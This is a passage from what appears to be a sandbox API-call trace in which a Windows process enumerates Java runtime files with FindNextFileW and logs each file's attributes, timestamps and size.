hFindFile=0x1d1590, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 0 [0163.730] FindClose (in: hFindFile=0x1d1590 | out: hFindFile=0x1d1590) returned 1 [0163.731] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3370080 | out: hHeap=0x6f0000) returned 1 [0163.731] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0163.731] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0163.731] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0163.731] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0163.731] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0163.732] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0163.732] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0163.732] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0163.732] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0163.732] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0163.732] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0163.732] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0163.732] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0163.732] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0163.733] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0163.733] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0163.733] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0163.733] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-64.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0163.733] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.cpl", cAlternateFileName="")) returned 1 [0163.733] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0163.733] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0163.733] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font_t2k.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0163.733] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_iio.dll", cAlternateFileName="JAVAFX~3.DLL")) returned 1 [0163.733] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0163.734] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0163.734] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0163.734] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0163.734] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-64.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0163.734] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0163.734] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0163.734] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0163.734] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jjs.exe", cAlternateFileName="")) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0163.735] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0163.736] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0163.736] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0163.736] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, 